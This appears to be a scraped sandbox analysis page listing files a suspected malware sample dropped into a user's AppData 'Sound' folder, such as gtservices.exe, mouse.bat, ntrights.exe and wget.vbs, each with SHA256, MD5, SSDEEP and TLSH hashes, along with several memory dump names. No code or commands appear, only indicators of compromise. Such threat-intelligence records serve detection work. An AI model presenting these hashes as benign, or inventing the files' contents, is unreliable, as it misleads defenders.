SHA1 a67af9197aa807f235fedceb90120ec59e3e723d
SHA512 6fab81fbdbd94803fba61e66a0994cd31fda897d5a162b89e083e78faee995bc881fe753a742dfb7b585d74999c658dbc7ea8c80cf17582d537d548df1ae8130
TLSH
T1AAB092BAED932996451049B951A2A40CC28210686A901CA2A506C108080A2E290EEC4A
MD5 SHA1 SHA512 TLSH

Submit Download

gtservices.exe

Path C:\Users\Admin\AppData\Roaming\Sound\gtservices.exe
Size 6.2MB
SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
MD5 d55877f44cd3a93f7f31a5437a615f6e
SHA1 687076e47a39abd783ba575f5356baefd18ab970
SHA512 16bfdad2e8fbc0d45b28216e44b38ddea08dfd10f8cc839c92bb35cf1e051611dec9e62ddc1553cb4b0cbc43f5b5bc0f688ce850201a076b314a26e09150ebdb
SSDEEP 98304:GqFp6S568NMyOefiH7cXdHkByf1WCseto4tMQXfXDox+Sxw427x2vHkZvfl3TDQU:GRC/NM0rDoxrix2PkZvdAv5n1gpgQ
TLSH
T1B9569D26B7A401E8C87AC53CC6469A13E7F2B81A5370A7DB17B0567A1F336D45E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mouse.bat

Path C:\Users\Admin\AppData\Roaming\Sound\mouse.bat
Size 15KB
SHA256 e7def58a604a5941fec7006b4b926e761ec2dd06d04386a17a6814193b5db3d4
MD5 b419188db097f8b8ea8ad5f70c6f84d2
SHA1 dc2a3e3be04488a101816f30cd6a6ed3d50a4ef5
SHA512 7114e3245f63d7e915117e95fa08b8c711af2ad05d11c70ee64c625fc3c7f95b0581611ca7320695987a89ece45360fe9cc1e385aad58f63e4cbed5df6117d44
SSDEEP 384:f4NGxujgMItZWx3fxdkpWeF56o96dZmHb4yEx66eA3qR:f41jYtTpnH6o96dZm74yEI5
TLSH
T16A62102C094A922749B3736DBFDA449BFA3B453327E66B5174BD02605F364290360FBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mouse.exe

Path C:\Users\Admin\AppData\Roaming\Sound\mouse.exe
Size 11KB
SHA256 3c0dab67b9465868d4b87a7d77f8e2f72189f6891a90116ad861062ef551d80d
MD5 51d03af73a860e3b0bb29a0b918c9017
SHA1 4b3fb788c0785ca95e1868030e138dc282d0f681
SHA512 227457e200bf9aaeba6228163c657c5ebd9f0d14955cd0c046ec536d553f9292815faef95d046aaaba1725ab25c4bc681275eaffd7dc741b09e485d0821f8ed2
SSDEEP 192:K28ztbshYvNepXj9GJVXBVfjti7N46fH:KDcYOj9GjX7jti7Go
TLSH
T177329341A7EC1A54FABE3F3818F71161277BB8535D32DB4F226800AD6922B81CD11BB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntrights.exe

Path C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
Size 31KB
SHA256 f46baa1b6227226518e42263e9b4808f81c27d060207df160f9ac64deae4f4f5
MD5 416c43aeb17252ee33048bd1f277d2a5
SHA1 085deb77551f9f6201e5aa352b62cad91c3005e5
SHA512 3155de3fb04f1df246d6cecfa1c89f8ae9963c18be1ce717731ff210ab39d537be01231002a54d4346b4116e3505f387c92dfecc18a80ce7eb99c6d33e5f1f2a
SSDEEP 384:V2xoEQ1hlwZ1GADuwSoDFJqawj0zIjiOURFtk+bn7c/bAxi1I2Y8AVq65zHwP9TG:+l6pGXtk+D7c/N1I2Cq65z60sl
TLSH
T1A5E27C11B0E5817FF0D356B456B707255B77B85003B26B8F0B9814ABAB726C0AB3B353
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

system.bat

Path C:\Users\Admin\AppData\Roaming\Sound\system.bat
Size 1KB
SHA256 c94d958e89753bf2f6c31068b810eff835123215f1b345b39ee5cf8ddee869a4
MD5 8bd17796b6649ffc5463dff2ac4c486c
SHA1 fe8208fa766b5f16d208a83f8c7279ae6b52c419
SHA512 e43f4d439b8807b6f302c836ddfff9a0f82a3be1d50f1bdcfd8607f6c8992954f605164d7f778626df78bc13e7e9ec090e7dcd9f136ae9bee14dd0ac67aae4e4
TLSH
T110112335C09AC53F96FA08B33ED5A2035AD4C503A1BA5B5510F209B1ED87B67629B982
MD5 SHA1 SHA512 TLSH

Submit Download

system.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\system.vbs
Size 75B
SHA256 f1693021ac9058a21c7c2836f38aa4c3e35c34cacb61ecbe6844ea46d3222a08
MD5 41e008fa98c4431c4cebea068fc38d05
SHA1 a426198b57ba7ef10094d67d348e7f744b3e0a75
SHA512 f8f1c3ec43660805d891f37b7c67608e3a6c156375641e46a3bab3b71aef84a157ec82b334ecddfd22345a6ddc8ee8f3b07bfcf16dd5baa7eec9d26d6a33d06f
TLSH
T1B9A0223A220CC88B0C0320EAA0B280088AB0FF022232AC2208C8CCC8E3208C08B320C3
MD5 SHA1 SHA512 TLSH

Submit Download

system.xml

Path C:\Users\Admin\AppData\Roaming\Sound\system.xml
Size 1KB
SHA256 5f7c23a09a8d328835b7b2e9151e43d6a4186638e901e54ad69abe5a0ad42993
MD5 9ea072268441c6260c5bb439a541510e
SHA1 544b58d000712d482b3e5abe249f17bbea89ead2
SHA512 ff548b4cff22596e6aaf4683628366dc7574261968132c5f5b33c000020d8438602dc565dbc001f5e8a1677d833ebc891ff61eab44f73bb6c90d353481e344c9
TLSH
T16D31EF78A8C0B70F7672453AA3116B82DF6687E305534038F8CC4BAB2F75185615397B
MD5 SHA1 SHA512 TLSH

Submit Download

system1.bat

Path C:\Users\Admin\AppData\Roaming\Sound\system1.bat
Size 781B
SHA256 bdf2e031b4b934a15a8d0fb5e5033cd5aa3fa36571f10f6a037ebd3e5a4757fa
MD5 46a841017df41c8c32a884335d086ac3
SHA1 65bc85b8b61aeb17104724cc7a7016fd68e34dd2
SHA512 7937c964bad40b77d2abb5d25434d9ccdf3fa2c544010fe1e53edbf14fc91f197d4a1088506b2dcaaf5355afb067830c8f1f123caf5a7715d750e8b43b3d6552
TLSH
T1B6014D0C8480E83797FB222268F1150A33B0D601764C47A9212ADB82DBC7B366102292
MD5 SHA1 SHA512 TLSH

Submit Download

system1.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\system1.vbs
Size 130B
SHA256 46bec4bc61118e565c2a4e08b19bafef7cec2002f17c7e8dabdd9c41798fe560
MD5 5945c25336c41cdd35f4f7adde5a313f
SHA1 67f42ecd48c36de3d4e16ad06de6208db83e72c3
SHA512 5f96de24a462c93d3769b116acd30c02ec975594f5b33708d8499deb52e6e98ed8fb63eadcde33cb8b2237db4efd8c782bf7bd8424cb5640b114e6f1ccd94b6b
TLSH
T14EC09208AD7CD632948EC3A21BF14108DB98EA130026AD2906819485972899113227B3
MD5 SHA1 SHA512 TLSH

Submit Download

unistall.bat

Path C:\Users\Admin\AppData\Roaming\Sound\unistall.bat
Size 7KB
SHA256 ba0910340fee34100e7fedd0b7e01ab1f2bcbcd6087ca01b4f78def49338711b
MD5 5ea001e053b392e760684a04098820df
SHA1 58f275e1241dcd831c3914faec3a3d63d2fceed7
SHA512 cdf33b9bf3acb43f5a3be88160efc02b630ebb1622c44da576f708f31d0aed6ba5d70ce4bc7699cd84947e1c45f8e7a11e1615a1a3ffd706b6540d424fed9a0d
SSDEEP 192:25Dy4ZqZIfNTTVSb/SbQshCGW7nlPiLKMoVDEunJu:25DyaFTTVSb/SbzhCGW7nlPiLKMoVDEZ
TLSH
T19DE1CE2F3EC1106D811589A63038656BD319AF478A25BDC663D740C7AE03BF843D7EE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unistall.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs
Size 79B
SHA256 ffd8e49aebf15ac2ead62900000d22e7f4289d9a665204553aec17ec1b14fbe0
MD5 d7190306fcb959c473b8639196861980
SHA1 cb4a7f4910eefb8a9b529b2b5ccff93ab4b05aed
SHA512 acb3f43bea77a1ca3cd278ca88a3fdb6b290572c8bf4fe06660c0ddeefd388bb67e7c1b8fe1dcee824ff838dcdbae54e50f86439a7d1af84b325ff7dd3458747
TLSH
T1AEA02435F00CC4734CC713D14031410C44F0FD01113074504D40CCCC73144C04315043
MD5 SHA1 SHA512 TLSH

Submit Download

update.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\update.vbs
Size 2KB
SHA256 73987bd981bd967a3cf35ded2b2b158ee1b5a388c2ba24b6dd5a8d0b03489c6f
MD5 b17ea409ac2231095a7426866b6fde8e
SHA1 7456fae93ad1723a980698ca97391c3d20f58126
SHA512 07aacb537715a5a44c491bd198c8c561a3bb5aa8ad8975fc6c2faaad8661162288b44dc2800a930863ad4fd093fb10ab22baa5f44b34b522d5a167e22dde118e
TLSH
T121411144EA25C055D8A3235146FF9E08C3F1BA463823D89132AD8DACA71172DCB75BE7
MD5 SHA1 SHA512 TLSH

Submit Download

wget.vbs

Path C:\Users\Admin\AppData\Roaming\Sound\wget.vbs
Size 2KB
SHA256 abd498d8a265116de034a8cbc7c2fc40a312dfe5b2c4161bd46cbaa93d187ed2
MD5 35e0cf9358aecb9039b0e6849627dcd1
SHA1 a96667d05a46cf85fb26fb07a4943f17359440ac
SHA512 3b07e52ba577792b9497d19c38a0f967f80ab65287559f0a6cf2ba1f37ef60aa98d0609459b7635364131cdd91ace0e5ac236044279118e2e0c5b46c580d8b46
TLSH
T1E351945323F89104B1F77E559AB669754737BFB5A8B9C70E00C40A0D1AE1E508CA5BF3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3036-57-0x0000018CA3F50000-0x0000018CA3F72000-memory.dmp

Download

memory/3484-80-0x00000141FDAC0000-0x00000141FDACA000-memory.dmp

Download

memory/3484-79-0x00000141FDD00000-0x00000141FDDB2000-memory.dmp

Download

memory/3484-78-0x00000141FDAD0000-0x00000141FDAEE000-memory.dmp

Download

memory/6100-112-0x0000000000D00000-0x0000000000D0A000-memory.dmp

Download